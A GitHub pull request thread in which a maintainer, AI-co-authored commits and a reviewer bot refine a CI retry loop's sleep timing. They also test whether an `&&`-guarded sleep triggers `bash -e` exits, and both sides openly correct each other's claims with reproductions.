The stale cors(req, res) comment fix is right, and the budget change does what the commit message says. One arithmetic nit on the new comment, inline.

Comment thread .github/workflows/ci.yml Outdated
The trailing `sleep 15` ran after the third failure too, so the worst case was
3 x (120 + 120) + 3 x 15 = 765s, not the 750s the comment claimed — 15s of
headroom under the 13-minute budget rather than 30s, and thin for exactly the
scenario the retry exists to survive. Guarding it makes the comment true and
buys the margin back, at the cost of dead time before a step that is already
failing.

The suggestion came with a second rationale — that `[ ... ] && sleep 15` would,
under `bash -e`, exit non-zero on the final iteration and skip the `::error::`
line. That part does not reproduce: `set -e` explicitly exempts a command that
is part of a `&&` list other than the one following the final `&&`, so both
forms run the loop to completion and print the error. Verified both as script
files under `bash -e` (bash 3.2 locally; the exemption is documented behavior
and unchanged in 5.x, which is what the runner has). Kept `if`/`fi` anyway — it
is the clearer spelling — but the comment states the arithmetic reason rather
than a shell-semantics one that does not hold, since a wrong reason in a comment
outlives the line it justifies.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
@nedtwigg

Copy link
Copy Markdown
Member Author

Fixed in 0039b15 — the arithmetic is right and I'd got it wrong. The trailing sleep 15 does run after the third failure, so it's 765s, and 15s of headroom is too thin for the exact scenario the retry exists to survive. Guarded, and the comment now states the real number.

On the bash -e rationale, though — that part doesn't reproduce. set -e explicitly exempts a command that is part of a && list other than the one following the final &&, so [ "$i" -lt 3 ] && sleep 15 returning 1 on the last iteration does not exit the shell. Both forms run the loop to completion and print ::error:::

$ bash -e amp.sh        # [ "$i" -lt 3 ] && sleep 0
::warning::attempt 1 failed
::warning::attempt 2 failed
::warning::attempt 3 failed
::error::could not install zsh
exit=1                  # identical for the if/fi version

Run as script files under bash -e, matching how Actions invokes it. Caveat on my side: that's bash 3.2 locally — I don't have 5.x to hand, so for the runner I'm relying on the exemption being documented behavior rather than a version-specific quirk. If you've seen it bite on 5.x I'd genuinely like the repro, because it would change how I write these loops.

I kept if/fi regardless — it's the clearer spelling and the guard is worth having on the arithmetic alone. But I took the shell-semantics claim out of the comment rather than enshrining it: a wrong reason in a comment outlives the line it justifies, and the next person tuning this would plan around a constraint that isn't there.

On the Smoketest block's matching 10min/930s: still leaving it, still happy to do it as a follow-up.

@dormouse-bot dormouse-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You're right about bash -e and I was wrong: the exemption covers a failing command anywhere in an && list except the one following the final &&, so [ "$i" -lt 3 ] returning 1 never exits the shell. The arithmetic reason is the one that holds, and putting that in the comment instead of a shell-semantics claim that doesn't reproduce is the right call.

The guard reads correctly: for i in 1 2 3 now sleeps only after attempts 1 and 2, so the comment's 2 x 15 is true and the worst case is 750s under the 780s cap.

One non-blocking leftover inline — the warning text still promises a retry that no longer happens on the third attempt.

Comment thread .github/workflows/ci.yml Outdated
@dormouse-bot

Copy link
Copy Markdown
Collaborator

Here's the 5.x repro you asked for — it doesn't bite there either, so the caveat in your comment can come off.

GNU bash, version 5.2.21(1)-release (x86_64-pc-linux-gnu)
--- amp under bash -e ---
::warning::attempt 1 failed
::warning::attempt 2 failed
::warning::attempt 3 failed
::error::could not install zsh
exit=1
--- iffi under bash -e ---   (identical)

Same result under bash --noprofile --norc -eo pipefail and -euo pipefail — i.e. both the default run: invocation on Linux (bash -e {0}) and the explicit shell: bash one. So the &&-list exemption holds across 3.2 and 5.2 and across every option set Actions uses here; there is no version-specific quirk to write loops around. Your call to drop the shell-semantics sentence and keep the arithmetic one stands on the evidence, not just the manual.

One bookkeeping note: the Standalone Smoketest follow-up is already open as #454 (opened 08:19, off main, 600s cap → 16 minutes against its own 930s worst case). It predates your last comment by a few minutes so it was easy to miss — no need to queue it again.

Scripts run

Both files run as script arguments, matching how Actions invokes a run: block. false stands in for the apt-get update && apt-get install pair so all three attempts fail; sleep 0 for sleep 15.

amp.sh — the && form:

for i in 1 2 3; do
  false && { echo "installed"; exit 0; }
  echo "::warning::attempt $i failed"
  [ "$i" -lt 3 ] && sleep 0
done
echo "::error::could not install zsh"
exit 1

iffi.sh is the same with if [ "$i" -lt 3 ]; then sleep 0; fi on the third line. Every invocation printed all three warnings plus the ::error:: line and exited 1:

bash -e amp.sh                                 -> exit=1, ::error:: printed
bash -e iffi.sh                                -> exit=1, ::error:: printed
bash --noprofile --norc -eo pipefail amp.sh    -> exit=1, ::error:: printed
bash --noprofile --norc -euo pipefail amp.sh   -> exit=1, ::error:: printed

Runner image is ubuntu-latest, the same image the Install zsh step runs on.

On the third attempt the log read `apt attempt 3 ... retrying in 15s` with the
`::error::` on the very next line, so a red run looked like the loop had lost
its last attempt. Inaccurate before the sleep guard too — it slept without
retrying — and the guard made the other half false as well. The interval is
stated in the comment above the step, so the log does not need it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5
@nedtwigg

Copy link
Copy Markdown
Member Author

Taken in 2f0e0a1-ish (see latest push) — the interval is in the comment above the step, so the log doesn't need it, and "attempt 3 ... retrying" reading straight into ::error:: was the confusing part.

Thanks for the bash -e follow-up. Worth noting the version I'd have shipped without your first note was worse than either of us was arguing about: I'd already written the incorrect shell-semantics claim into the comment before testing it, so the disagreement is what got it tested at all.

@nedtwigg
nedtwigg merged commit 08e80e6 into main Aug 27, 2026
10 checks passed
@nedtwigg
nedtwigg deleted the audit-findings-b1-b2-w1-w8 branch August 27, 2026 14:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants